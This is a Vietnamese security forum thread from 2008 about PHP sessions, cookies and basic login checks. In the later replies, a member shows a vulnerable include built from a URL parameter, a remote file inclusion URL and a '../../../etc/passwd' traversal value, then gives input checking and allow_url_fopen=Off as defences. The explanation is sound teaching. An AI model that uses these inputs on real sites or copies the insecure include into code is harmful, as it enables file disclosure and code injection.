banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thảo luận hệ điều hành Windows Hỏi cách dùng Session và Cookie  XML
  [Question]   Hỏi cách dùng Session và Cookie 11/01/2008 01:29:41 (+0700) | #1 | 109513
[Avatar]
phstiger
Member

[Minus]    0    [Plus]
Joined: 23/01/2007 17:47:26
Messages: 261
Offline
[Profile] [PM]
Hỏi cách dùng Session và Cookie


Session trong PHP mình thật sự không rõ cho lắm. Mình có vái vấn đề muốn hỏi các Bác
1. Có phải khai báo Session tùy version thì có cách khai báo khác nhau không. Ví dụ
// Use of session_register() is deprecated
$barney = "A big purple dinosaur.";
session_register("barney");
// Use of $_SESSION is preferred, as of PHP 4.1.0
$_SESSION["zim"] = "An invader from another planet.";
// The old way was to use $HTTP_SESSION_VARS
$HTTP_SESSION_VARS["spongebob"] = "He's got square pants."; 

Nhưng sao mình thấy còn cách khai báo
session_register("vpassword","gia tri pass",time() + 3600);
Sau đó mình thử echo $vpassword thì không được.
Để khai báo đầu đủ như trong hàm session_register với $_SESSION thì dùng thế nào
2. MÌnh thấy hàm sessionid vào mỗi thời điểm thì sẽ có các giá trị khác nhau. Và mỗi trình duyệ cũng có các giá trị khác nhau. Vì mình dùng Firefox và IE cùng 1 thời điểm nhưng có 2 giá trị khác. Vậy hàm này có phải ứng dụng trong việc tạo session ngẫu nhiên cho mỗi user khi login vào web hay không ?
3. Mình không biết thường mấy forum hay web áp dụng cookie + session là áp dụng thế nào. MÌnh nghĩ như thế này không biết có đúng không?
Với mỗi user login vào web thì sẽ tạo các session khác nhau tương ứng với user đó.
Ví dụ :

$_SESSION[$username]=session_id();
setcookie($username,$_SESSION[$username],time()+3600)
 

Với code trên thì tương ứng mỗi user login vào web thì sẽ tạo 1 biến session tương ứng với user đó (vậy nhiều user login vào sẽ tạo một loạt các session tương ứng tỏng bộ nhớ)
Khi muốn kiểm tra thì ta lấy $_COOKIE[$username] so sánh với $_SESSION[$username]. Nếu bằng thì đúng là user đó. Làm như vậy không biết hợp lý không các bác.
4. Thường thì web sẽ lưu xuống cookie những info gì. Mà mình nhớ hàm setcookie có 3 giá trị thôi. Vậy người ta sẽ ghi xuống info ở vị trí thứ 2 như : session_id()."/ ".time()."/".other_info. Sau đó trong code sẽ lọc những info đó ra bằng các dấu "/". phải không các Bác.


[Up] [Print Copy]
  [Question]   Re: Hỏi cách dùng Session và Cookie 14/01/2008 02:31:48 (+0700) | #2 | 110067
[Avatar]
SuperChicken
Elite Member

[Minus]    0    [Plus]
Joined: 11/07/2006 18:31:27
Messages: 635
Location: bottom of hell
Offline
[Profile] [PM]
1. http://www.php.net/manual/en/ref.session.php
(không phải cách khai báo session khác nhau mà là tên biến hệ thống để truy cập session có khác nhau tùy version)
2. SessionId chắc chắn là phải random rồi, giá trị này tùy thuộc vào server trả về chứ không phụ thuộc vào client, sessionid phải random và unique cho từng session (hiểu đại khái là để phân biệt giữa các user cùng truy cập vào website của bạn).
3. Cách hiểu của bạn cũng khá chính xác rồi, session để phân biệt các phiên làm việc của nhiều user khác nhau, còn cookie lưu trên browser để nhận diện phiên làm việc hiện thời (giả sử bạn login rồi xóa cookie, lúc đó server sẽ hiểu bạn là 1 user mới và sẽ tạo 1 phiên làm việc (session) khác trên server).
4. "Thường thì web sẽ lưu xuống cookie những info gì" <= câu hỏi này của bạn hình như không chính xác, ý của bạn là với mỗi giá trị cookie, người ta cần những tham số gì, thông thường với mỗi giá trị cookie sẽ có 4 tham số: tên_cookie (required), giá_trị_cookie (required), thời_gian_hiệu_lực (optional, nếu không có thì cookie sẽ có hiệu lực đến hết phiên làm việc hay có nghĩa tới lúc bạn tắt trình duyệt), tên_miền_hiệu_lực (optional, nếu không có thì giá trị default là "/", có nghĩa là cookie sẽ có hiệu lực trên tất cả các sub-domain).
[Up] [Print Copy]
  [Question]   Re: Hỏi cách dùng Session và Cookie 14/01/2008 04:27:13 (+0700) | #3 | 110089
[Avatar]
phstiger
Member

[Minus]    0    [Plus]
Joined: 23/01/2007 17:47:26
Messages: 261
Offline
[Profile] [PM]
1. Vậy nếu mình khai báo 1 session như sau $_SESSION['username']=session_id();
Với n user truy cập vào web sẽ có n biến session trùng tên $_SESSION['username'] nhưng khác giá trị với n user đó có đúng không vậy ?
2. Mình thường nghe nói tránh dùng biến mà không khai báo sẽ rất nguy hiểm. Mà nguy hiểm như thế nào vậy?
3. Mà thường hiện giờ đa số web sẽ chứng thực bằng cách dùng session thôi không dùng cookie hoặc chung với cookie phải ko vậy Bác.
Mình nghĩ như thế này không biết đúng không?
Khi user đăng nhập sẽ tạo 2 biến session là

$_SESSION['user']=$username;
$_SESSION['auth_user']=session_id();
 

sau đó trong các file khác để chứng thực user đó thì chỉ cần

if(isset($_SESSION['auth_user']) && $_SESSION['auth_user']==session_id())
echo "Hien thi info";
else
echo "Ban can phai login";
 

Mình đã thử cách trên và đã thành công nhưng không biết nó phổ biến để chứng thực trong viết web không ?


[Up] [Print Copy]
  [Question]   Re: Hỏi cách dùng Session và Cookie 14/01/2008 06:44:09 (+0700) | #4 | 110104
[Avatar]
canh_nguyen
Elite Member

[Minus]    0    [Plus]
Joined: 23/08/2004 18:55:09
Messages: 775
Location: Broken dream
Offline
[Profile] [PM] [WWW] [Yahoo!] [MSN] [ICQ]
1. Với n user truy cập thì sẽ không sợ trùng $_SESSION['username'] vì nó được lưu file session trong thư mục lưu session được cấu hình tuỳ mỗi server và trong file đó sẽ lưu các thông tin về mỗi session. Nếu cậu có cài đặt localhost thì có thể vào thư mục lưu session của cậu và thấy các file này.

2. Giả sử cậu có đoạn code thế này.
Code:
http://sitename.com/?filename=file.php

Code:
<?
include "includes/".$filename."";
?>


Do chưa được khai báo biến $filename
Người nào đó có thể định nghĩa nó trên url thành Code:
http://sitename.com/?filename=http://othersite.net/file.php


3. Do tính chất cookie là được lưu giữ trên máy người dùng nên không nên lưu các thông tin nhạy cảm như password... hoặc có lưu thì sẽ mã hoá. Thêm nữa nếu có cho phép người dùng đăng nhập tự động bằng cookie thì nên xác thực lại mỗi khi người dùng đó làm gì nếu hành động đó quan trọng.
[Up] [Print Copy]
  [Question]   Re: Hỏi cách dùng Session và Cookie 14/01/2008 22:24:27 (+0700) | #5 | 110185
[Avatar]
phstiger
Member

[Minus]    0    [Plus]
Joined: 23/01/2007 17:47:26
Messages: 261
Offline
[Profile] [PM]
Ủa câu 2 như bạn nói thì nếu address như thế này
Code:
http://sitename.com/?filename=http://othersite.net/file.php

thì nội dung sẽ thay đổi thành
Code:
<?
 include "includes/http://othersite.net/file.php ";
 ?>

Như thế thì có include được file.php từ othersite.net hay không vì trong url có includes/ nữa mà
-->includes/http://othersite.net/file.php
Mà mình vẫn chưa rỏ lắm, nếu khai báo biến để không bị lỗi trên thì khai báo sao vậy bạn...
[Up] [Print Copy]
  [Question]   Re: Hỏi cách dùng Session và Cookie 15/01/2008 12:40:46 (+0700) | #6 | 110351
[Avatar]
canh_nguyen
Elite Member

[Minus]    0    [Plus]
Joined: 23/08/2004 18:55:09
Messages: 775
Location: Broken dream
Offline
[Profile] [PM] [WWW] [Yahoo!] [MSN] [ICQ]
Code:
http://sitename.com/?filename=http://othersite.net/file.php
chỉ là ví dụ, tớ có thể thay bằng
Code:
path=../../../etc/passwd
sẽ có thể ra kết quả khác tùy cấu hình server đó ra sao.
Rất có thể sẽ phi ra cái đống nằm trong file Code:
passwd
. smilie

Còn trong trướng hợp có quy định folder Code:
includes
thì không include được thêm file từ ngoài vào.

Tránh get path bằng đường dẫn trên url, như trên sẽ lấy path file bằng Code:
$filename = $_GET['filename'];
.
Kiểm tra biến kỹ là cách hạn chế tốt nhất smilie .

Ngoài ra có thể hạn chế bằng config cấu hình php:
Cấu hình Code:
allow_url_fopen=Off
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|